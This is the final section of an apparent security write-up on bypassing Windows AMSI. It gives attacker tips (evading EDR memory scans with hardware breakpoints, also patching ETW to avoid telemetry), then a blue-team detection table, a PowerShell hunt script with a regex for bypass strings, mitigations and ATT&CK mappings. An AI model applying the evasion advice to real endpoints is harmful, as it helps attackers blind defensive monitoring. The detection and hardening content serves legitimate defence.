  • AMSI provider matters. Not every endpoint uses Defender. CrowdStrike, SentinelOne, and Carbon Black have their own AMSI providers that may patch differently or not at all. Always test on an environment that matches the target’s AV stack.
  • Memory scanning. Modern EDR products periodically scan process memory for known-bad byte sequences — including AMSI patch stubs. The hardware breakpoint technique sidesteps this entirely since no memory is modified.
  • ETW is independent of AMSI. A working AMSI bypass with ETW intact still generates telemetry that can be correlated post-incident. Always patch both.

Detection (Blue Team)

signalevent
Reflection bypass strings in scriptEID 4104 — ScriptBlock: amsiInitFailed, AmsiUtils, amsiContext
VirtualProtect called on amsi.dll address rangeETW — Microsoft-Windows-Kernel-Audit-API-Calls
amsi.dll bytes modified in process memoryPeriodic memory scan — Defender, EDR
PS2 process spawnedSysmon EID 1 — powershell.exe -version 2
ETW provider disabled or patchedETW session audit log
Unsigned assembly loaded into PowerShellEID 7 — Sysmon ImageLoad
AMSI scan result override detectedDefender EID 1116

PowerShell Script Block Logging detection rule (EID 4104):

# Hunt-AMSIBypass.ps1 — search SBL for bypass indicators
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    Id      = 4104
} | Where-Object {
    $_.Message -match 'amsiInitFailed|amsiContext|AmsiUtils|AmsiScanBuffer|amsi\.dll'
} | Select-Object TimeCreated, Message | Format-List

Mitigation stack:

AMSI + ETW monitoring          — baseline visibility
Script Block Logging (EID 4104) — captures bypass attempts pre-execution
Process memory integrity (EDR)  — catches byte patches at runtime
Constrained Language Mode       — limits reflection access
WDAC                            — blocks unsigned assemblies entirely
Remove PowerShell v2 feature    — closes downgrade vector
# Remove PowerShell v2 (mitigation)
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root -NoRestart

MITRE ATT&CK

techniqueIDdescription
Impair Defenses: Disable or Modify ToolsT1562.001Patching AMSI / ETW
Command and Scripting: PowerShellT1059.001PS-based bypass delivery
Reflective Code LoadingT1620Assembly.Load() post-bypass
Obfuscated Files or InformationT1027Bypass string obfuscation
Defense EvasionTA0005Primary tactic

References

Last updated on